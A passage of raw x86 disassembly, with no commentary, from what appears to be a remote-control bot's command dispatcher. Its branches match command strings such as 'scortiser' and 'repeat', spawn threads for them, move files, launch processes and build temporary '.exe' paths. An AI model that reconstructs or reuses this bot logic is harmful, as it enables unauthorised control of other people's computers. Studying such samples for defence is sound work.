call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A918
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset sub_40C92C
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_407A66
loc_407A50: ; CODE XREF: sub_401ACD+5F97j
cmp [ebp+var_670], ebx
jnz loc_403D46
push 32h
call dword_427080 ; Sleep
jmp short loc_407A50
; ---------------------------------------------------------------------------
loc_407A66: ; CODE XREF: sub_401ACD+5F81j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AA08
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407A77: ; CODE XREF: sub_401ACD+4D7Bj
; sub_401ACD+4D92j
push edi
call sub_41C159
push 7Fh
mov [ebp+var_1130], eax
push [ebp+arg_18]
lea eax, [ebp+var_1234]
push eax
call sub_41BFD0
push [ebp+arg_0]
call sub_41C159
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_1134], eax
lea eax, [ebp+var_11B4]
push [ebp+var_88]
mov [ebp+var_123C], esi
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_1120], eax
push [ebp+var_1134]
lea eax, [ebp+var_1234]
mov [ebp+var_1124], edi
push eax
push [ebp+var_1130]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A8DC
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 18h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_112C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_123C]
push ebx
push eax
push offset sub_410DAB
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_112C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_407B63
loc_407B4D: ; CODE XREF: sub_401ACD+6094j
cmp [ebp+var_111C], ebx
jnz loc_403D46
push 32h
call dword_427080 ; Sleep
jmp short loc_407B4D
; ---------------------------------------------------------------------------
loc_407B63: ; CODE XREF: sub_401ACD+607Ej
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A898
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407B74: ; CODE XREF: sub_401ACD+4D4Dj
; sub_401ACD+4D64j
push 0FFh
lea eax, [ebp+var_287C]
push edi
push eax
call sub_41BFD0
push 0FFh
lea eax, [ebp+var_277C]
push [ebp+arg_18]
push eax
call sub_41BFD0
push [ebp+arg_0]
mov [ebp+var_2678], ebx
call sub_41C159
mov [ebp+var_2674], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407BCD
push 10h
push ebx
push eax
call sub_41C7A5
add esp, 0Ch
mov [ebp+var_266C], eax
jmp short loc_407BD3
; ---------------------------------------------------------------------------
loc_407BCD: ; CODE XREF: sub_401ACD+60EAj
mov [ebp+var_266C], ebx
loc_407BD3: ; CODE XREF: sub_401ACD+60FEj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407BEA
push esi
call sub_41C159
pop ecx
mov [ebp+var_2670], eax
jmp short loc_407BF0
; ---------------------------------------------------------------------------
loc_407BEA: ; CODE XREF: sub_401ACD+610Cj
mov [ebp+var_2670], ebx
loc_407BF0: ; CODE XREF: sub_401ACD+611Bj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2668], eax
lea eax, [ebp+var_28FC]
mov [ebp+var_2900], esi
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_2660], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_2664], eax
lea eax, [ebp+var_2C4]
push edi
push offset dword_42A86C
push eax
call sub_41C266
push esi
lea eax, [ebp+var_2C4]
push 1Dh
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_267C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2900]
push ebx
push eax
push offset sub_4167A0
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_267C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_407CA1
loc_407C8B: ; CODE XREF: sub_401ACD+61D2j
cmp [ebp+var_265C], ebx
jnz loc_407196
push 32h
call dword_427080 ; Sleep
jmp short loc_407C8B
; ---------------------------------------------------------------------------
loc_407CA1: ; CODE XREF: sub_401ACD+61BCj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A82C
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407CB2: ; CODE XREF: sub_401ACD+4D1Fj
; sub_401ACD+4D36j
push 7Fh
lea eax, [ebp+var_3494]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3414]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3394]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3314]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_3290], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_328C], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3498], esi
push edi
push offset unk_42A7F0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 12h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3294], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3498]
push ebx
push eax
push offset sub_41561D
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_3294]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_407D89
loc_407D73: ; CODE XREF: sub_401ACD+62BAj
cmp [ebp+var_3288], ebx
jnz loc_407196
push 32h
call dword_427080 ; Sleep
jmp short loc_407D73
; ---------------------------------------------------------------------------
loc_407D89: ; CODE XREF: sub_401ACD+62A4j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A7B8
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407D9A: ; CODE XREF: sub_401ACD+4BF2j
; sub_401ACD+4C09j
push 7Fh
lea eax, [ebp+var_306C]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2FEC]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2F6C]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2EEC]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_2E68], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_2E64], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3070], esi
push edi
push offset unk_42A788
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Eh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_2E6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3070]
push ebx
push eax
push offset sub_414358
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_2E6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_407E71
loc_407E5B: ; CODE XREF: sub_401ACD+63A2j
cmp [ebp+var_2E60], ebx
jnz loc_407196
push 32h
call dword_427080 ; Sleep
jmp short loc_407E5B
; ---------------------------------------------------------------------------
loc_407E71: ; CODE XREF: sub_401ACD+638Cj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A750
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407E82: ; CODE XREF: sub_401ACD+4AC9j
; sub_401ACD+4AE0j ...
push 7Fh
lea eax, [ebp+var_3CE8]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3C68]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3BE8]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3B68]
push [ebp+var_88]
push eax
call sub_41BFD0
push 20h
lea eax, [ebp+var_3AE8]
push [ebp+arg_8]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_3A68], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3A64], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3CF0], esi
push edi
push offset unk_42A720
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Dh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3CEC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CF0]
push ebx
push eax
push offset sub_4135DF
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_3CEC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_407F6A
loc_407F54: ; CODE XREF: sub_401ACD+649Bj
cmp [ebp+var_3A60], ebx
jnz loc_407196
push 32h
call dword_427080 ; Sleep
jmp short loc_407F54
; ---------------------------------------------------------------------------
loc_407F6A: ; CODE XREF: sub_401ACD+6485j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A6E8
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407F7B: ; CODE XREF: sub_401ACD+4A9Bj
; sub_401ACD+4AB2j
push 7Fh
lea eax, [ebp+var_177C]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push 3Fh
mov [ebp+var_162C], eax
push [ebp+arg_0]
lea eax, [ebp+var_16FC]
push eax
call sub_41BFD0
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_407FC6
push 3Fh
lea eax, [ebp+var_16BC]
push esi
push eax
call sub_41BFD0
add esp, 0Ch
loc_407FC6: ; CODE XREF: sub_401ACD+64E5j
lea eax, [ebp+var_16FC]
mov [ebp+var_1628], 1
push eax
lea eax, [ebp+var_177C]
push [ebp+var_162C]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42A6B8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Fh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1624], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1780]
push ebx
push eax
push offset sub_4017ED
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1624]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_408052
loc_40803C: ; CODE XREF: sub_401ACD+6583j
cmp [ebp+var_1620], ebx
jnz loc_406BFE
push 32h
call dword_427080 ; Sleep
jmp short loc_40803C
; ---------------------------------------------------------------------------
loc_408052: ; CODE XREF: sub_401ACD+656Dj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42A67C
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408063: ; CODE XREF: sub_401ACD+4A5Bj
; sub_401ACD+4A72j
push [ebp+arg_18]
call sub_41C159
cmp eax, ebx
pop ecx
mov [ebp+var_1D68], eax
jle loc_408156
mov esi, 80h
push edi
lea eax, [ebp+var_1EF0]
push esi
push eax
call sub_41C360
add esp, 0Ch
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D64], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF4], eax
lea eax, [ebp+var_1DF0]
push esi
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1D60], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_1D5C], eax
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A650
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 15h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1D70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF4]
push ebx
push eax
push offset sub_413A29
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1D70]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_408145
loc_408133: ; CODE XREF: sub_401ACD+6676j
cmp [ebp+var_1D58], ebx
jnz short loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_408133
; ---------------------------------------------------------------------------
loc_408145: ; CODE XREF: sub_401ACD+6664j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A618
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_408156: ; CODE XREF: sub_401ACD+65A7j
push offset unk_42A5E0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408160: ; CODE XREF: sub_401ACD+4A2Dj
; sub_401ACD+4A44j
push [ebp+arg_18]
push edi
call dword_4270BC ; MoveFileA
test eax, eax
jz short loc_40818D
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A5BC
push 200h
push eax
call sub_41C360
add esp, 14h
jmp short loc_4081AD
; ---------------------------------------------------------------------------
loc_40818D: ; CODE XREF: sub_401ACD+669Fj
push offset dword_42A5B0
call sub_418699
pop ecx
push eax
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
loc_4081AA: ; CODE XREF: sub_401ACD+548Dj
; sub_401ACD+73C5j
add esp, 0Ch
loc_4081AD: ; CODE XREF: sub_401ACD+20DCj
; sub_401ACD+2E89j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_4081CA: ; CODE XREF: sub_401ACD+56E4j
call sub_409869
add esp, 14h
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_4081D7: ; CODE XREF: sub_401ACD+49FFj
; sub_401ACD+4A16j
push edi
lea eax, [ebp+var_3F08]
push 104h
push eax
call sub_41C360
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_408211
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_408211
push eax
lea eax, [ebp+var_3E04]
push eax
call sub_41C266
pop ecx
pop ecx
loc_408211: ; CODE XREF: sub_401ACD+6722j
; sub_401ACD+6733j
push [ebp+var_88]
lea eax, [ebp+var_3F88]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_3F8C], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CFC], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF8], eax
lea eax, [ebp+var_3E04]
push eax
lea eax, [ebp+var_3F08]
push eax
push offset unk_42A580
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 24h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3D00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F8C]
push ebx
push eax
push offset sub_417054
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_3D00]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_4082C3
loc_4082B1: ; CODE XREF: sub_401ACD+67F4j
cmp [ebp+var_3CF4], ebx
jnz short loc_4082DE
push 32h
call dword_427080 ; Sleep
jmp short loc_4082B1
; ---------------------------------------------------------------------------
loc_4082C3: ; CODE XREF: sub_401ACD+67E2j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A544
loc_4082CF: ; CODE XREF: sub_401ACD+909j
; sub_401ACD+A47j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_4082DE: ; CODE XREF: sub_401ACD+7C5j
; sub_401ACD+930j ...
push 1
pop esi
jmp loc_406C22
; ---------------------------------------------------------------------------
loc_4082E6: ; CODE XREF: sub_401ACD+49D1j
; sub_401ACD+49E8j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41BF70
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push edi
mov [ebp+var_63C], esi
call sub_41C159
add esp, 10h
cmp eax, esi
jnz short loc_408323
mov [ebp+var_638], 5
loc_408323: ; CODE XREF: sub_401ACD+684Bj
cmp [ebp+var_C], ebx
jz loc_406BFE
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406BFE
lea eax, [ebp+var_E34]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call dword_427074 ; CreateProcessA
test eax, eax
jnz short loc_40836E
push offset unk_42A520
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40836E: ; CODE XREF: sub_401ACD+6895j
push edi
push offset dword_42A504
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408379: ; CODE XREF: sub_401ACD+49A3j
; sub_401ACD+49BAj
push [ebp+arg_18]
push offset aScortiser ; "scortiser"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4084F0
lea eax, [ebp+var_4BF8]
push eax
push 104h
call dword_4270B8 ; GetTempPathA
push 0FFh
lea eax, [ebp+var_25D4]
push edi
push eax
call sub_41BFD0
lea eax, [ebp+var_17D4]
push eax
call sub_40AB77
add esp, 10h
push eax
lea eax, [ebp+var_4BF8]
push eax
lea eax, [ebp+var_24D4]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41C266
mov eax, [ebp+esi+var_84]
add esp, 10h
cmp eax, ebx
mov [ebp+var_23D0], 1
mov [ebp+var_23CC], ebx
jz short loc_40840E
push 10h
push ebx
push eax
call sub_41C7A5
add esp, 0Ch
mov [ebp+var_23C4], eax
jmp short loc_408414
; ---------------------------------------------------------------------------
loc_40840E: ; CODE XREF: sub_401ACD+692Bj
mov [ebp+var_23C4], ebx
loc_408414: ; CODE XREF: sub_401ACD+693Fj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_40842B
push esi
call sub_41C159
pop ecx
mov [ebp+var_23C8], eax
jmp short loc_408431
; ---------------------------------------------------------------------------
loc_40842B: ; CODE XREF: sub_401ACD+694Dj
mov [ebp+var_23C8], ebx
loc_408431: ; CODE XREF: sub_401ACD+695Cj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23C0], eax
lea eax, [ebp+var_2654]
mov [ebp+var_2658], esi
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_23B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_23BC], eax
push edi
lea eax, [ebp+var_2C4]
push offset dword_42A4CC
push eax
call sub_41C266
push esi
lea eax, [ebp+var_2C4]
push 1Eh
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_23D4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2658]
push ebx
push eax
push offset sub_4167A0
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_23D4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_4084DF
loc_4084C9: ; CODE XREF: sub_401ACD+6A10j
cmp [ebp+var_23B4], ebx
jnz loc_406BFE
push 32h
call dword_427080 ; Sleep
jmp short loc_4084C9
; ---------------------------------------------------------------------------
loc_4084DF: ; CODE XREF: sub_401ACD+69FAj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42A490
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_4084F0: ; CODE XREF: sub_401ACD+68BDj
push offset dword_42A448
loc_4084F5: ; CODE XREF: sub_401ACD+2E30j
; sub_401ACD+447Dj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_406BFE
; ---------------------------------------------------------------------------
loc_408508: ; CODE XREF: sub_401ACD+4975j
; sub_401ACD+498Cj
push [ebp+var_8C]
push offset dword_42CCD0
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
cmp [ebp+var_C], ebx
jz loc_401F75
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
pop ecx
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A438
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
push edi
call sub_41C159
add esp, 28h
test eax, eax
jle short loc_408591
push edi
call sub_41C159
imul eax, 3E8h
pop ecx
push eax
call dword_427080 ; Sleep
loc_408591: ; CODE XREF: sub_401ACD+6AAEj
push offset dword_42A424
call sub_415D38
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_4085A5: ; CODE XREF: sub_401ACD+4947j
; sub_401ACD+495Ej
push [ebp+var_8C]
push offset dword_42CCD0
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_41CA50
add esp, 10h
test eax, eax
push esi
jz short loc_408664
push [ebp+var_88]
lea eax, [ebp+var_2C4]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A438
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push offset unk_42A40C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
test eax, eax
jle loc_409644
push edi
call sub_41C159
add eax, [ebp+arg_24]
pop ecx
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_408664: ; CODE XREF: sub_401ACD+6B1Dj
lea eax, [ebp+var_2C4]
push offset unk_42A3D8
push eax
call sub_41C266
add esp, 0Ch
loc_408678: ; CODE XREF: sub_401ACD+74E3j
cmp [ebp+var_8], ebx
jnz short loc_408699
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_408699: ; CODE XREF: sub_401ACD+6BAEj
; sub_401ACD+71C7j ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
jmp loc_409643
; ---------------------------------------------------------------------------
loc_4086AA: ; CODE XREF: sub_401ACD+4919j
; sub_401ACD+4930j
push 7Fh
lea eax, [ebp+var_2218]
push edi
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_2198]
push [ebp+arg_18]
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_2118]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
add esp, 24h
mov [ebp+var_2094], eax
mov eax, [ebp+var_8]
mov [ebp+var_221C], esi
push [ebp+arg_18]
mov [ebp+var_2090], eax
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A3A4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Fh
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_2098], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_221C]
push ebx
push eax
push offset sub_414F57
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_2098]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_40876E
loc_408758: ; CODE XREF: sub_401ACD+6C9Fj
cmp [ebp+var_208C], ebx
jnz loc_40885A
push 32h
call dword_427080 ; Sleep
jmp short loc_408758
; ---------------------------------------------------------------------------
loc_40876E: ; CODE XREF: sub_401ACD+6C89j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A368
jmp loc_40884B
; ---------------------------------------------------------------------------
loc_40877F: ; CODE XREF: sub_401ACD+48EBj
; sub_401ACD+4902j
push 7Fh
lea eax, [ebp+var_23AC]
push edi
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_232C]
push [ebp+arg_18]
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_22AC]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
add esp, 24h
mov [ebp+var_2228], eax
mov eax, [ebp+var_8]
mov [ebp+var_23B0], esi
push [ebp+arg_18]
mov [ebp+var_2224], eax
lea eax, [ebp+var_2C4]
push edi
push offset dword_42A33C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 11h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_222C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23B0]
push ebx
push eax
push offset sub_414703
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_222C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_40883F
loc_40882D: ; CODE XREF: sub_401ACD+6D70j
cmp [ebp+var_2220], ebx
jnz short loc_40885A
push 32h
call dword_427080 ; Sleep
jmp short loc_40882D
; ---------------------------------------------------------------------------
loc_40883F: ; CODE XREF: sub_401ACD+6D5Ej
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42A300
loc_40884B: ; CODE XREF: sub_401ACD+6CADj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_40885A: ; CODE XREF: sub_401ACD+6C91j
; sub_401ACD+6D66j
cmp [ebp+var_8], ebx
jnz loc_403FBE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_403FB6
; ---------------------------------------------------------------------------
loc_40887A: ; CODE XREF: sub_401ACD+48BDj
; sub_401ACD+48D4j
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push offset dword_42A2F8
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 10h
loc_408897: ; CODE XREF: sub_401ACD+6E31j
test eax, eax
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
loc_4088B1: ; CODE XREF: sub_401ACD+789Bj
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2F0
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E92C[eax]
call sub_409823
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_4088DA: ; CODE XREF: sub_401ACD+488Fj
; sub_401ACD+48A6j
push [ebp+esi+var_84]
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
push offset dword_42A2E4
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 14h
jmp short loc_408897
; ---------------------------------------------------------------------------
loc_408900: ; CODE XREF: sub_401ACD+4861j
; sub_401ACD+4878j
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push offset dword_42B89C
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 10h
test eax, eax
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2F0
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E92C[eax]
call sub_409823
add esp, 0Ch
push [ebp+arg_18]
push edi
push offset dword_42A2C8
loc_408967: ; CODE XREF: sub_401ACD+6F24j
; sub_401ACD+6F92j ...
call sub_415DAC
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_408971: ; CODE XREF: sub_401ACD+4833j
; sub_401ACD+484Aj
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4089A2
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A2C0
push eax
call sub_41C266
add esp, 0Ch
loc_4089A2: ; CODE XREF: sub_401ACD+6EBEj
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2F0
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E92C[eax]
call sub_409823
add esp, 0Ch
push esi
push edi
push offset dword_42A2A4
jmp loc_408967
; ---------------------------------------------------------------------------
loc_4089F6: ; CODE XREF: sub_401ACD+4805j
; sub_401ACD+481Cj
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push esi
push offset dword_42A2F0
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E92C[eax]
call sub_409823
add esp, 0Ch
push esi
push edi
push offset dword_42A288
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408A64: ; CODE XREF: sub_401ACD+47D7j
; sub_401ACD+47EEj
cmp [ebp+var_C], ebx
jz loc_409644
push edi
